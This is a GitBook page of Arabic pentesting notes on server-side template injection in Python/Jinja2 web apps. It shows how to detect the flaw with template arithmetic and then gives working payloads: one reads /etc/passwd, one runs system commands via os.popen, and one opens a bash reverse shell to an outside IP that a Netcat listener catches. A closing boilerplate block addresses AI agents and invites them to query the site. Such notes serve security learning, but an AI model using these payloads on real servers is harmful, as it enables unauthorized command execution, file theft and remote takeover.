> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md).

# SSTI Python

<figure><img src="/files/5385be554bc91b3fca19a616aaee4e7dfd4f06e0" alt="" width="563"><figcaption></figcaption></figure>

كيف نعرف ما إذا كان موقع ويب عرضةً لهجوم بشكل محتمل **SSTI** ؟ إذا استطعنا إدخال قيمة في **الإدخال**، كما في الحالة أدناه مع المتغير **المستخدم**، والذي يتم تفسيره في **المخرجات**:

<figure><img src="/files/49ef05dc72c89c66c4d9c169701e2ff3ff1ad171" alt="" width="563"><figcaption></figcaption></figure>

مع **whatweb**، إذا رأينا أن خادم ويب يستخدم **Python, Java, Jinja2, AngularJS...** كلغة برمجة وأن هذا غير مُنقّى، فقد يحتوي على هذه الثغرة:

<figure><img src="/files/fd4437156aa215221d9883a79243764e2b18cd9d" alt=""><figcaption></figcaption></figure>

لاختبار ذلك باستخدام **/{{ /}}**، نختبر ما إذا كان يفسّر **العملية الحسابية**:

<figure><img src="/files/a2810a8949896f812d415c949c90b9b3cb7235fc" alt="" width="563"><figcaption></figcaption></figure>

في هذه الحالة، يفسّر:

<figure><img src="/files/0434820581bcb7ef3333477afc8fd6e5ec4cfd7c" alt="" width="521"><figcaption></figcaption></figure>

بفضل موقع [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings)، نجد جميع [عمليات الحقن الممكنة](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2): إليك بعض الأمثلة مع **Python**: الحصول على الوصول **أي مورد في النظام** (/**etc/passwd**):

```python
{{ ''.__class__.__mro__[2].__subclasss__()[40]('/etc/passwd').read() }}

```

<figure><img src="/files/60e456f59c7015b093df0dbf752aee6799f609e1" alt=""><figcaption></figcaption></figure>

تنفيذ أي **أمر** في النظام (**المعرّف**):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="/files/e8c94f2686599687fc5a1378a9c911f78c16e182" alt="" width="563"><figcaption></figcaption></figure>

الحصول على **وصول** إلى الخادم:

```python
http://localhost:8089/?user={{+self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26/dev/tcp/192.168.71.128/443 0>%261" ').read()+}}

```

نستمع باستخدام **Netcat** وتم الاختراق :)

<figure><img src="/files/baad8d8534d8f28a802617a339e88f8c41fd6752" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
